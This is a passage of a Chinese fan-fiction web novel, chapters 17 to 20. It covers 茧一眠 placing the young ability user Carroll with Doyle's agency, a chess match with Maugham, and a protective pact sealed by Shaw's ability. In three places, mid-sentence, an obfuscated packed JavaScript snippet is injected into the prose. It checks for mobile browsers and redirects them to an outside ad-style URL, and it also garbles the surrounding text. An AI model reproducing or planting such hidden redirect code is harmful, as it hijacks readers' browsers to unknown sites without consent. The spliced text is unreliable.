卡罗尔:“那…我,我可以一边学习一边赚钱?” “是啊,真羡慕你。”茧一眠忍不住感慨。 卡罗尔停下摆弄纸条的手,歪着脑袋问道:“你…你在钟塔侍从…过得不好吗?” 茧一眠叹了口气,靠在兔子洞的内壁上,“不是好不好的问题啦,这种事很难用非黑即白的词描述出来。” 接着,他换了个轻松的语气,“总之,见到道尔先生要有礼貌,表现得聪明一点。除了道尔先生,不要跟任何人提起我。” 卡罗尔认真地点头,然后突然兴奋起来:“好!你…要不要看看我今天在研究的东西?” 他翻开一本数学书,开始滔滔不绝地讲解一个定理。 “我最新…发现这个,如果把时间维度加进去……就会这样……然后那样那样……”卡罗尔越说越激动,不再结巴,语言流畅。 茧一眠完全听不懂,只能看着那些在空中浮现的数学符号发呆。符号们在兔子肚子里飘来飘去,组成各种奇怪的图形。 他眨了眨眼,发现自己又中了卡罗尔的异能,整个人都有点飘飘然的感觉。 “喂。”他给了卡罗尔一个轻轻的脑瓜崩,“你的异能又失控了,快收起来。” “啊,抱、抱歉!”卡罗尔这才反应过来,慌忙收敛异能,“我一兴奋…就控制不住……” 数学符号消失了,卡罗尔现在已经可以收住自己的异能,但茧一眠还是有点担心。 卡罗尔的异能太容易影响到他人了,虽然可能是因为年纪小控制不好,希望道尔先生能有办法教会他控制异能。 “你下午就去事务所找道尔先生吧,注意安全。” “好…好的!”卡罗尔抱着书本。 茧一眠从兔子洞里钻出来,拍了拍衣服上的灰。看着卡罗尔朝他挥手再见。 从公园出来后,茧一眠直接去了图书馆。他得装模作样地完成蹲点任务,免得引起怀疑。王尔德已经在门口等着了,正靠在路灯上打哈欠。 他们选了个能看到整个阅览室的位置坐下。 “能走了吗?”王尔德第三次问。 茧一眠压低声音,“来都来了,做做样子嘛。” “那也用不着真的蹲一下午,一小时就够了。” 下午一点,最容易犯困的时刻。王尔德打开一本诗集,却没翻几页就靠在椅背上开始打盹。 正巧一波学生们午休结束,陆续涌进图书馆。有的抱着厚重的课本,有的拖着装了电脑的背包。茧一眠看着这些人来来往往,一个金发女生打着哈欠走进来,差点撞到书架;两个发顶稀疏的人低声讨论着什么,眼下都挂着浓重的黑眼圈。 茧一眠忍不住戳了戳王尔德,好奇问道:“你上大学的时候也这样吗?整天泡图书馆?” 王尔德迷迷糊糊地抬起头,循着茧一眠的目光看去,“怎么可能,我才不是那种书呆子。” 茧一眠问:“那是什么样的?” 原本昏昏欲睡的王尔德注意到茧一眠眼中的好奇,来了兴致。他支起下巴,眼神变得戏谑:“怎么,想听故事?” “嗯!”茧一眠点头。他今年十八岁,好不容易熬到高考结束,还没来得及体验大学生活,就到了这里,自然是好奇的。 “那时候我可是个叛逆的学生,每天都穿着最张扬的礼服去上课,当年那群呆子看我的眼神啊,啧啧……” 王尔德脸上浮现出得意的笑容,仿佛又回到了那个肆意妄为的年代。 “我经常在宿舍里办沙龙,讨论艺术、诗歌,有时还会邀请画家来。我的房间总是挤满了人,大家一边喝红酒一边辩论美学哲学,直到凌晨。” “我还创办了一个小杂志,专门发表一些标新立异的文章。每次出刊都会惹得保守派的家伙大怒,但那正是我想要的效果。” “哇,听起来真酷,你的大学生活好有意思。”茧一眠羡慕地说。 “是啊,”王尔德的声音带着怀念,“不过,也不全是玩乐。我拿过卢斯奖学金,还得过iJungle国际插画奖——当然,是瞒着钟塔侍从参加的。” 茧一眠趴在桌上,眼神里满是向往,“要是我也能体验一下就好了。” 王尔德指尖微微一顿,收敛起笑容,一时不知怎么回复。以茧一眠现在的处境,这样自在的大学生活大概永远不会有。 茧一眠意识到自己表现得太过热切,像个幼稚的小孩。他坐直身体,正经道:“不说这个了,你和道尔先生很熟吗?是怎么认识的啊?” 王尔德愣了一下,他还在思考如何巧妙地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15090390|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避开关于大学的话题,对方就已经开始了别的问题,“怎么突然问这个?也是出于好奇?” 茧一眠点头:“嗯,毕竟是你给了我道尔先生的号码。” 王尔德却摆摆手:“我跟他不熟,是认识事务所里的另一个人。” “谁?道尔先生身边的人吗?” “保密。”王尔德听着茧一眠一口一个道尔先生,心里生出一股无名火。自己当了这么久的导师和饭票,也没听这小子喊过一声先生。 他用带着点嘲讽的语气说,“你这么尊敬阿瑟·道尔?就见了一面。” 茧一眠想起道尔那一连串惊人福尔摩斯式推理,认真又严肃地点点头,“非常尊敬,他很厉害。” 王尔德看着少年眼里的崇拜,一时语塞。 茧一眠正想追问更多,王尔德却突然趴在桌上,说自己累了,要休息。 看着王尔德淡金色的卷发垂在桌面上,茧一眠无奈地叹了口气。他继续装模作样地在笔记上记录图书馆的情况。 …… 一小时后,王尔德准时抬起头,“时间到,我们走。” “是不是有点早?” “足够了,毕竟只是装装样子而已。”王尔德站起来伸了个懒腰,长手长脚的样子引得周围的学生频频侧目。 他们往外走时,王尔德口袋里的手机突然震动了一下。他看了眼,嘴角微微翘起:“看来那边也搞定了。” “哪边?”茧一眠问道。 王尔德没有回答,自顾自地往前走。茧一眠看他这副样子,也就识趣地没再追问。 反正这帮谜语人想说的时候自然会说,不想说的时候问了也白问。 日落时分,茧一眠回到王尔德庄园,发现房间门缝下塞了个东西。 他愣了一下,取出了一个信封,上面什么都没写,拆开后是阿瑟·道尔龙飞凤舞的字迹: [卡罗尔的异能比表面看起来要复杂得多,表面上看是制造幻觉,但实际上他创造的是一个‘梦游空间’。在这个空间里,现实和潜意识会相互交织。最关键的是,他能在“梦游空间”里操控时间流速。] 道尔特意在这句话下画了两道线,[这个能力必须保密——时间相关的异能太过敏感。] [你向钟塔汇报时,只提制造幻觉的部分。关于时间操控的部分,一个字也不要提。钟塔对时间系异能有特殊的管理条例。为了避免不必要的麻烦,这个秘密不要对任何人说。] 茧一眠读过后将信纸叠好,犹豫了一下,将信纸放进壁炉里烧掉了。 他知道卡罗尔的异能不简单,但他不知道钟塔侍从具体的时间系异能者管理法案是怎样的啊…… 要是让钟塔侍从知道他把这种级别的异能者私自转给了道尔,估计会直接把他大卸八块吧。 他瘫在椅子上,有一丢丢后怕。他不为这次事件感到后悔,如果有下次他绝对不敢乱来了。 话又说回来,王尔德庄园戒备森严,这封信能出现在这里,就证明这位王尔德私底下和有联系,所以他下午收到的短信不会就是事务所那边的吧。 18.第 18 章 茧一眠站在狄更斯的办公室里,递上了任务报告。 狄更斯猛地从椅子上站起来,“什么!那个异能者已经加入了其他组织?谁敢跟钟塔侍从抢人?” 茧一眠后退了半步:“是…福尔摩斯事务所。” 狄更斯的表情突然凝固了,“福尔摩斯事务所?你是说,阿瑟·道尔?” “是的。” 狄更斯重新坐下,表情变得复杂起来。他揉了揉太阳穴:“那就算了。” 茧一眠没想到他态度转变得这么快:“这是为什么?” “没有那么多为什么。” 茧一眠不死心:“那位事务所老板来历很大吗,还是和钟塔侍从有关系?” 狄更斯看着茧一眠直白的试探,忍不住扶额。问话水平不高啊,也许该把他扔进审讯部锻炼一阵。 不过……他瞥了眼窗外的雨,往事突然涌上心头。 狄更斯:“你很想知道?” 茧一眠连连点头。 狄更斯靠在椅背上,目光变得有些飘远。二十年了,他已经很久没提起这件事,这个时代的人们也已经渐渐淡忘了道尔这个人。不知怎么,他突然想说说那段往事。 他的声音里带着一丝怀念:“那个时候啊……道尔是整个英国议会大名鼎鼎的调查官,也是他亲手成立了侦察部——现在的调查部和情报部的前身。” “他在议会的五年里,破案率是百分之百。最难的案子到他手里,往往不出一天就能破解。贪污、渎职、权钱交易……没有什么能逃过他的眼睛,那些想掩饰罪行的罪犯,在他面前都无所遁形。” 茧一眠安静地听着。 狄更斯像是想到了什么,忽然轻笑一声,“当时的《太阳报》几乎天天都在报道他破案的消息。那会儿异能者的身份是公开的,道尔就像个明星一样。” 他走到书架前,抽出一个旧文件夹:“这是当年的剪报,我一直留着。” 茧一眠凑近看去。 发黄的报纸上印着一个正值壮年的男人,身着笔挺的西装,微微仰着下巴,标题是[神探再破奇案]。 这张报纸老旧到快散架了,狄更斯却依旧把它保存在随手可及的地方。 “后来电子化改革开始了。政府打算把所有资料都数据化,包括民众的个人信息。当时负责这个项目的技术主管是个异能者,他的能力是能够迅速处理海量数据。本来一切都很顺利……” 狄更斯停顿了一下,声音低沉下来,“直到有人入侵了数据库。负责管理部门的异能者都被暗杀了,数以万计的隐私数据被泄露,银行账号、医疗记录、家庭住址……整个英国乱成一锅粥。” “那时的民众本来就对异能者有些抵触,觉得他们抢走了普通人的就业机会。这次的数据泄露事件成了导火索。” 狄更斯的目光投向远处,仿佛又看到了那些场景——街道上到处都是示威的人群。他们举着牌子,喊着[还我们一个普通的英国],[异能者滚出去]之类的口号。 茧一眠:“那……当时的道尔先生怎么样了?” “那些曾经把道尔捧上神坛的媒体,立刻就翻脸不认人。有人故意散布假消息,说道尔的异能能看透人心,窥探隐私。还有人质疑,为什么他总能那么快破案?是不是一直在用异能者特权侵犯普通人的隐私?民众的恐慌和愤怒,全都指向了他。” 茧一眠似乎预料到了之后的发展:“……议会,不会把道尔先生推出去了吧?” “嗯,高层开了一个会。投票结果是一边倒。不过女王陛下投了反对票,但她的一票改变不了什么。” 道尔被解职的那天,伦敦下着大雨,议会大厦门口围满了人。那时狄更斯9岁,父亲因为无法还清债务而被关进了监狱。为了生计,他不得不辍学去鞋店打工赚钱。 不过那天他偷偷翘了班,挤在人群中,站在警戒线外。大街上是铺天盖地的谩骂。疯子也好,骗子也罢,阿瑟·道尔就那样安静地撑着伞,一步步走进雨里……再也没出现在大众视野。 那个背影,狄更斯至今都难以忘记。 狄更斯对道尔怀着的敬意,与其说是对前辈的尊重,更像是对一个时代符号的仰慕。当年正是因为道尔的传奇,让年幼的狄更斯立志成为一名侦探,最后在阴差阳错之下加入钟塔侍从的调查部。 狄更斯很快收起情绪,合上报纸道,恢复了往日的严肃,继续讲道:“在那之后,英国议会把异能者单独分离出去,成立了独立的异能管理机构——钟塔侍从。 所有异能者的身份都开始保密,实行特殊管辖。自此,异能者和普通人彻底分割开来。” “不过,女王陛下一直记得道尔的贡献。在风波平息后,她亲自签发了一张异能开业许可证,允许道尔成立自己的机构。” 茧一眠若有所思:“所以现在的福尔摩斯侦探社和钟塔侍从是……” 狄更斯接上话,“两者都是王室直属的机构,平级的,所以我们不会跟他抢人。不过他的事务所得按规定提交异能者资料报告。这是程序问题。” 茧一眠从包里取出一份文件:“已经准备好了,这是事务所发来的报告。” 咳,其实这份报告茧一眠他昨晚熬夜编的。 不过他把整件事说得滴水不漏,每一步都按照规矩办事,就算被人查到,也挑不出毛病。 狄更斯接过文件,仔细翻看,他的目光在某些段落停留得特别久。 过了一会儿,狄更斯终于看完,把文件放在桌上,“可以,就放这里吧。等我把这份报告录入系统,这个任务就算结束了。” 茧一眠刚要走出办公室,狄更斯忽然想到什么,叫住人:“等一下。” 茧一眠停住脚步。 狄更斯拿起桌上的电话,“你稍微等一会儿,我让人拿些好茶来。你把这个带去福尔摩斯事务所,就说是钟塔侍从代表女王赠予的。” 茧一眠:……又没问过我意见就强制加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15095918|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班。 茧一眠坐在沙发上,梳理着整件事的来龙去脉。从最开始想让卡罗尔自由,到后来把人送进事务所,再到现在了解事情的来龙去脉,他的心态经历了太多变化。 事务所得到了一个强大的异能者,卡罗尔获得了选择的自由,狄更斯堆积的任务也完成了。看起来,除了钟塔侍从,似乎每个人都得到了些什么。 但真的是这样吗?谁是真正的得利者,又是谁在承担风险? 英国女王是掌握着平衡的人,一边默许钟塔侍从独立,一边支持道尔建立事务所。 两个机构位于天平之上,既然能同时存在,那就一定有相互制约的方法,正如钟塔需要知道事务所那边异能者的详情,那事务所那边是不是也知道钟塔的事呢。 茧一眠的思绪很快被打断,一个穿着制服的职员送来一个红棕色的皮箱。打开来,里面是两个漆木茶罐。 茶叶是大吉岭的乌巴,产自印度阿萨姆邦的山区,金黄的茶叶卷曲成螺旋状,散发着淡淡的果香。这是英国皇室的御用茶,市面上很难买到。 茧一眠抱着皮箱来到福尔摩斯事务所。 他刚要抬手敲门,厚重的橡木门就自己开了。门后站着第一次见面给他开门的那个银发青年。 两人沿着楼梯往上走,青年在前带路,茧一眠跟在后面,到二楼时,一个毛茸茸突然从拐角探出头来。 “是茧…茧来了吗?”是卡罗尔。 茧一眠:“嗨,卡罗尔。在这里还习惯吗?” 卡罗尔使劲点头,“很…很好!道尔先生…是我见过最聪明的人,他什么都知道,什么都懂!” 青年轻轻咳嗽了一声:“卡罗尔,我知道先生很厉害。不过现在,我们要去三楼了。之后再叙旧,好吗?” “啊…对不起!那你们快去吧!”卡罗尔连忙往旁边让了让,还像个小孩子似的朝他们挥手告别。 青年带着茧一眠继续往上走,一直到三楼最里面的房间。 茧一眠看着那扇深棕色的木门,深吸一口气,轻轻敲了敲。 “进来。” 推开门,道尔正和一个年轻人下着国际象棋。房间里只开着一盏落地灯,暖黄的光线笼罩着两人。 年轻人看起来和茧一眠年纪差不多,梳着一丝不苟的背头,高挺的鼻梁上架着一枚金丝单片眼镜,用细细的金链固定在胸前的口袋上,茧一眠注意到他的眼睛是淡灰色的,像是蒙着一层薄雾的湖水。 见茧一眠进来,青年的注意力立刻被钩住,嘴角翘起弧度。相比之下,道尔的表情没有任何变化,他的注意力全在棋盘上。 “将军。”道尔说着,用白马将死了对方的黑王。 然后他站起身,接过茧一眠手中的皮箱,“我能做的事情已经结束了,以及,感谢钟塔侍从的这份礼物。” 说完这句话便走出房间,带上了门。 茧一眠:……啊? 可是,他还甚么都没说啊。 19.第 19 章 道尔走出房间,留下愣在原地的茧一眠。一时间,房间里只剩下壁炉里木柴燃烧的轻微噼啪声。 屋内的青年上下打量着茧一眠,目光带着一种评估的意味,“坐下吧。” 他指了指对面的椅子,也就是道尔先前坐过的位置。 茧一眠犹豫了一下。 他还有事情想找道尔,但看道尔离开时的态度,似乎不愿再多谈,冒然追问大概率会让自己被划入讨人嫌的傻瓜那一类。 青年因为这短暂的停顿而变了脸色,单片眼镜后的灰色的眼睛里闪过一丝不悦,嘴角微微下沉。 茧一眠立刻察觉到,心中暗叹,怎么又是一个难伺候的主啊! “好的,谢谢。”他说着在椅子上坐下。既然道尔不想多谈,那就先应付眼前这位吧。 领着茧一眠上楼的白发青年也走到桌前,搬来一把扶手椅放在他们中间。 三人分别坐在棋盘的三面,形成一个奇特的三角关系。茧一眠面对着单片眼镜青年,而白发青年则在一旁观察。 单片眼镜青年开口,声音中带着一声轻哼的鼻音,“我是威廉·萨默塞特·毛姆。不用自我介绍,我知道你是谁。” 茧一眠嘴角不自觉地抽动了一下。少了自己的自我介绍,整个对话就像是在被单方面通知,多多少少有些不爽。 但转念一想,这位是写了“六便士与面纱”,以毒舌著名的毛姆啊,刻薄一点似乎也理所应当。要是这样的人突然变得客客气气,给他端茶倒水,反而会让人觉得诡异。 毛姆注意到茧一眠的目光似乎又飘向了道尔离开的方向,这种注意力的分散让他十分不悦。他轻咳一声。 那种刻意为之的咳嗽声在安静的房间里格外清晰,茧一眠回过神,看向毛姆。 毛姆将一条腿搭上另一条,脚踝交叠,摆出一副居高临下的姿态,“先生说事情结束了,就是结束了。至少他在这个环节要做的都完成了。” 茧一眠立刻捕捉到了关键词:“这个环节?那意味着还有别人要做什么?” 毛姆不语,而是轻轻敲击棋桌,“下赢我这盘棋,我就告诉你。” 茧一眠心头一紧。 国际象棋? 他倒是会下象棋,以前经常旁观公园老大爷们下棋,耳濡目染学了些招式。但国际象棋的规则他完全不懂。 他犹豫了一下,思考着要不要答应。 两种棋应该有共通之处,都讲究攻防、都是在格子棋盘上行动……或许能够触类旁通? 毛姆看出了他的迟疑,语气种故意带上一丝嘲讽:“如果觉得力不从心,那就算了。” 这种轻蔑的语气激起了茧一眠的逆反心理。他立刻上钩:“可以,我答应了。不过能先讲解一下规则吗?” 毛姆一时哑然:“你觉得你很厉害?连规则都不懂就敢应下来?” 茧一眠故作淡定解释道,“棋技我还是懂的,只是不太熟悉国际象棋的规则而已。” “我来讲解吧。”一直沉默的白发青年突然开口。 茧一眠和毛姆同时转向他。 因为对方个子很高,茧一眠之前要看清他的脸就得仰着头,这种姿势让他一直不太好意思仔细打量。现在青年坐在了他旁边,终于给了他一个正大光明观察的机会。 青年的五官都带着一种锋利的感觉,唇线和眼角都很薄。眼尾的弧度直直上挑,形成锋利的三角形轮廓,带着一股不怒自威的气势。光是看着他,就知道他是那种严肃不会说温和哄人话的男人。 “国际象棋和华国象棋有相似之处,这个是车,横竖走,和华国象棋相同。这个是主教,只走斜线。骑士的走法和华国象棋的马差不多……” 茧一眠认真听着,但有几个专业术语是生僻词,他有些听不明白,只能凭感觉来判断。 整个解说过程中,毛姆抱着胳膊在一旁看着,表情像是在忍受一场无聊的课堂讲座,时不时打上一个哈欠。 讲解结束后,茧一眠道谢。青年微微点头,退到一旁。 棋局正式开始,威廉·毛姆执白先行。 他拈起一枚白卒,落在e4位置。这是国际象棋中最经典的开局之一。 茧一眠犹豫了一下,回以e5的对应。虽然不太了解国际象棋的开局理论,但这个应对看起来最为合理。 接下来的几个回合,毛姆的棋路越来越咄咄逼人,棋盘的中心很快被他控制。 但随着局面的深入,茧一眠逐渐找到了感觉。他想起在象棋中学到的一些战术:八卦阵、顿挫战术、声东击西……这些原理在国际象棋中都是通用的。 茧一眠故意露出一个破绽,将自己的一枚卒子置于危险境地。毛姆果然上钩,用主教吃掉了那枚卒。 接下来的三个回合,他陆续调动了几枚卒子,在棋盘的左翼形成了一个不起眼的阵型。这是源自华国象棋中的“双兵胁士”战术,通过看似无害的小卒,最终形成对对手重要棋子的包围。 毛姆正专注于右翼的进攻,没有察觉到左侧的危险。 当茧一眠的骑士突然杀到c3,威胁到他的车和王后时,毛姆的表情明显一滞,他坐直了身子,目光紧紧盯着棋盘。 隔在两人中间的高挑青年也凝视着棋盘,注视着双色格内棋子的一举一动。 接下来的局面变得异常胶着。茧一眠的左翼阵型给毛姆造成了巨大压力,迫使他不得不放弃原有的攻势,转为防守。棋盘上的局势如同两军对垒,一时间难分高下。 毛姆的眉头微微皱起,显然没料到局面会如此逆转。他不得不用车挡住这次攻击,却因此失去了一个重要的战略位置。 然而,就在胜利似乎触手可及的时刻,茧一眠犯了一个致命的错误。 他下棋下得兴起,一时将国际象棋与象棋的规则混淆了。象棋中“马走日、象走田”,他下意识地想让主教跳过一个棋子去威胁对方的要害,但是在国际象棋中,主教只能沿斜线移动,且不能越子。 这一着错棋,让他精心布置的左翼进攻瞬间土崩瓦解。 毛姆立刻抓住了这个失误,移动了自己的皇后,直取茧一眠防守薄弱的左翼。 皇后是棋盘上最强大的棋子,她能横行、直走、斜行。 而在整个棋局中,茧一眠一直没能充分利用自己的皇后。在华国象棋里,车是最强的子力,他习惯性地把国际象棋中的车也当作主力。 他的皇后一直被毛姆困在后排,几乎没有参与战斗。而白方的皇后却在棋盘上纵横捭阖。 皇后挟裹着毛姆的车和主教,在茧一眠的防线上撕开一道口子。很快,他的王就被逼到了绝路。 “将军。”结果已定。 毛姆略微后仰,靠在椅背上,“下得不错,你的棋路很有意思。” 他缓缓收回一条翘着的腿,又慢条斯理地换上另一条,姿势里透着一种胜利者特有的优越感。 “……呵呵,你更胜一筹。”茧一眠勉强挤出一个微笑。 差一点!就差那么一点点! 要不是他对国际象棋规则不够熟悉,现在装模作样夸赞对手的人就该是他了! 主教为什么不能跳子啊!他恨不得给自己两个耳光,给毛姆更是三个! 毛姆注意到茧一眠的表情变化一瞬,虽然很快又恢复平静,但那一刻的懊恼被他捕捉到。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099918|163022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯起眼睛,镜片背后的目光带着几分捕食者的兴味:“哦,你看起来很不甘心啊,要不要再来一局?” 茧一眠顿住,内心瞬间警觉。 本来因为输了棋就拿不到情报而闹心,但毛姆这么一说反而让他起了疑心。众所周知,藏着掖着不给你的才是好东西;如果一个人用东西把你当毛驴一样吊着,那东西八成是根本不想给你的。 正当茧一眠思索时,一个声音从旁边传来。 “已经够了,我看到了一盘不错的对局,但如果再继续,就要天黑了。我们还有正事要办。”一直沉默的白发青年终于开口了。 毛姆原本准备再次摆开棋盘。闻言僵住,皱着眉头地将身体靠回椅背。手指因为下意识的烦躁地在椅子扶手上敲了两下。 那姿态像是一只准备捕食的猫被突然打断,不情愿地收回了爪子。 “好吧,你说得对,那聊正事吧。” 茧一眠敏锐地察觉到气氛的变化。所谓的下棋果然只是表面功夫,他被领到这里,另有目的。 白发青年双手交叉放在桌上,跳过所有寒暄,直接开口:“我是萧伯纳,乔治·萧伯纳。” 萧伯纳?得诺贝尔文学奖的那个? 茧一眠惊讶,脑中闪过一系列文学记录上的片段。在他的记忆里,萧伯纳应该是个须发皆白的老人,有着一团浓密的大白胡子。他知道青年大概是某个文豪但他完全没往萧伯纳的方向想过。 他刚想自我介绍,萧伯纳却抬手制止,“不必介绍,茧先生。我们对你已经足够了解。” 萧伯纳的打断更像是出于效率考虑,一种不想浪费时间的理性选择,而非刻意的傲慢。 茧一眠:“…………” 很好,先是毛姆,现在又是萧伯纳。这事务所把他开盒了是吧?每个人都知道他是谁对吧? 他暗自调整了一下呼吸,将那一丝不快压了下去。 毛姆已经将棋子收了起来:“既然要谈正事,那就开始吧。” 茧一眠深吸了口气,在座的都是直性子的人,与其绕圈子,不如直截了当。 他直视向萧伯纳,“钟塔侍从里有精神系异能者,我担心自己在被异能控制的情况下,会把卡罗尔的事情说出来。” “虽然报告已经写得很完善,不太可能被挑出错来,但这层精神系异能的隐患依然让我放心不下。我想知道事务所关于这一点是否有能够解决的方法。” 萧伯纳和毛姆交换了一个眼神。 如果茧一眠因为奥威尔或是伍尔夫的异能而暴露这件事,事务所的人也会受到牵连,这正是他们会在这里的原因。 毛姆率先开口,严肃道:“确实如此。道尔先生留我在这里,就是为了解决这个问题。” 茧一眠目光转向毛姆,他没想到突破口会在毛姆身上。原以为会是萧伯纳,毕竟整个下棋过程中,他才是一直在暗中默默观察的那个。 茧一眠:“那么,下棋是……?” 只是一时兴起。 不过毛姆自然不会这么说出来,“一个人的棋风往往能反映出很多东西——性格、思维方式、甚至是应对压力的态度。从你的棋路可以看出,你是个善于变通的人,这对我们接下来要做的事很有帮助。” 萧伯纳突然插话:“他只是和道尔先生下了三盘棋,全输了,想找回场子。” 毛姆的表情瞬间凝固,脸色变了又变,尴尬、恼怒和愤怒的情绪依次闪过。 “谢谢您的补充,萧伯纳先生。” 他咬牙切齿地挤出这句话,语气显然是在说,一点也不谢谢。 萧伯纳丝毫不为所动,仿佛没有注意到毛姆的愤怒一般。 20.第 20 章 萧伯纳直接切入正题:“钟塔侍从的奥威尔,伍尔夫,他们的异能都很棘手,但事务所自有应对的方法——” 毛姆显然还很不满萧伯纳,抢过话:“我的异能[月亮与六便士]能在人的思维中创建一种双重视角。即使在被精神控制时,你也能保持一定的自我意识。” 茧一眠怀疑道:“这能对抗[1984]吗?” 毛姆回道:“不是直接对抗,而是让你在被控制时仍有清醒的余地。” 萧伯纳觉得毛姆的解释太模糊不清,直切核心地补充道:“简单说,奥威尔的异能会迫使你说真话,但有了[月亮与六便士]的加护,你能意识到自己正被控制,从而选择哪些真话可以说,哪些不能说。” 毛姆在第二次被萧伯纳抢走了解释权后,脸色变得难看。 茧一眠注意到了两人之间的微妙气氛,吃瓜虽好,但眼下有更重要的问题。 他转向萧伯纳:“那你的异能是……?” “我的异能[圣女]能在双方之间结成契约束缚,一旦确立,双方都无法违背。” 说着,萧伯纳伸手来展示。一种奇异的光芒开始从他手心渗出,像是金色的墨水在空气中流动,逐渐形成一种文字与锁链的混合体。这些锁链不受物理规则约束,在三人之间盘旋、交错。 茧一眠看得入迷。这情景让他想起了哈○波○中的[牢不可破的誓言]咒语,一旦立下就无法违背,否则将付出生命的代价。 萧伯纳收起异能,抬眼直视茧一眠,说道,“我需要保证你和毛姆都会履行承诺。你为事务所送来了一位优质的新人,并需要隐瞒他的异能,确保他在成年之前不会被钟塔侍从抢走。” “作为交换,毛姆的异能则会帮助你在钟塔侍从的期间摆脱精神控制。” 说着,萧伯纳瞥了一眼毛姆,“[月亮和六便士]理论上可以持续生效,但世界充满变数,总会有些意外情况,比如遇到反异能的异能者,效果可能减弱、失效,甚至转移到其他目标上。” 按照钟塔侍从的规定,除去殉职情况,茧一眠得一直在钟塔干到65岁。但卡罗尔只要在事务所待满十年,钟塔基本就不能将人要走了。 这就意味着,如果十年后茧一眠遇到了能破解毛姆异能的人,两方的条件就会变得不平等。谁也不能保证对方会不会趁机毁约。 萧伯纳顿了顿:“当然,我们事务所的信誉一向极好,从未发生过背弃承诺的事情。” “但是我的某位朋友出于谨慎考量,提出要我必须立下这份誓约来保证你的利益——这便是我出现在这里的原因。” “某位朋友……?” 在英国,茧一眠认识的人寥寥无几,能和事务所这种地方搭上线,又了解他处境的人……只有王尔德了吧。 这个名字像一块拼图的最后一片,所有零散的线索开始串联,茧一眠脑海里的景象突然变得清晰。 从遇见卡罗尔开始;王尔德给他的事务所的联络方式;阿瑟·道尔对一个陌生人请求的迅速接纳;再到现在毛姆和萧伯纳的等候……那些原本看似偶然的事件现在呈现出一条清晰的逻辑线,一环扣一环。 他以为是他在请求事务所,但事实上,事务所一直被钟塔侍从挤兑,早就想吸纳更多异能人才,尤其是一个前途无量的时间异能者。 从茧一眠的角度看,最初只是突发奇想地对一个孩子伸出援手,但收获的却是实打实的好处,一个能摆脱精神控制的机会。 卡罗尔则获得了不必加入钟塔的自由,可以在更适合发挥天赋的环境中成长。 除了钟塔侍从,所有人都得到了自己想要的,一场精巧的交易在不知不觉中完成。茧一眠不禁对这个社交圈的运作方式感到一丝敬畏。 “准备好了吗?”萧伯纳的声音将他拉回现实。 毛姆忽然插话,“等一下,在开始前,我还有一个要求。” 茧一眠不由得警惕地看向毛姆和萧伯纳,后者只是耸了耸肩,似乎对毛姆的行为并不惊讶。 “什么要求?”茧一眠问道。 毛姆放松了一些姿态,语气中少了几分傲慢:“我需要你抽出一些时间给我。” “给你?” “是的。我需要一个华国人,我正在写一本关于华国的游记。我前段时间去了华国旅行,已经写出了一些大纲,但有些具体细节拿不准。”毛姆的语气中罕见地流露出一丝无奈。 中文的翻译问题对他来说太过棘手,几乎每个地名建筑名背后都藏着典故。这几个月,他几乎快被这些翻译搞疯了,每查一个词就要读一个故事,有时候还是些晦涩的文言文,他根本弄不明白。必须要一个真正的华国人当翻译顾问。 他曾经去招聘市场找过华国人,第一次被一个亚洲面孔的○○人给骗了。后续他又找了几个,有的甚至还没他懂。其中还有一个特别离谱的,经过事务所调查,发现这是个在原国家贪污赃款,跑到这边避难的玩意。毛姆反手就是一个国际举报电话,直接爆金币。 茧一眠没想到会是这个要求。他记得三次元毛姆曾经写过一本《在中国的屏风上》能为毛姆的作品提供帮助,间接为推广华国文化出一份力,他当然乐得接受。 茧一眠:“我很愿意帮忙。” 毛姆见茧一眠这么爽快地答应,明显松了口气,但表情依然维持着那种他那股子特有的矜持,“很好,不过别指望我把你的名字写到作者栏里。” “当然不会,作者和版权都属于你。” “不过,如果你对我的帮助大,可以破例把你写在卷尾和序言的位置,但你必须对我的写作有所帮助。” “哦。” 萧伯纳看着两人达成共识,点点头:“那么,我们可以开始了。” 毛姆率先发动异能[月亮和六便士]。 茧一眠觉得自己几乎没有任何特别的感觉。如果硬要说有什么变化,就是感觉自己的思维变得格外清晰,原本的一丝困意全消,就像喝了一杯特别浓的咖啡。 接着是萧伯纳的[圣女]。金色的锁链浮现,围绕在茧一眠和毛姆身边。 当那些光线构成锁链触及茧一眠时,一股陌生的概念被直接灌注进脑海。 随之而来的是一阵突如其来的疼痛,就像有人用无形的手捏住了他的心脏。那种痛楚短暂而强烈。但很快,疼痛消散了,仿佛从未存在过。 一切尘埃落定时,窗外已然暗沉下来。事务所所在的这片旧街区没有现代化区域的通明灯火。 毛姆看了看外面,显然还想留下茧一眠多聊一会儿,但现实的考量最终占了上风。 “时间不早了,下次找个更合适的时机继续我们的讨论,我会给你发消息。” 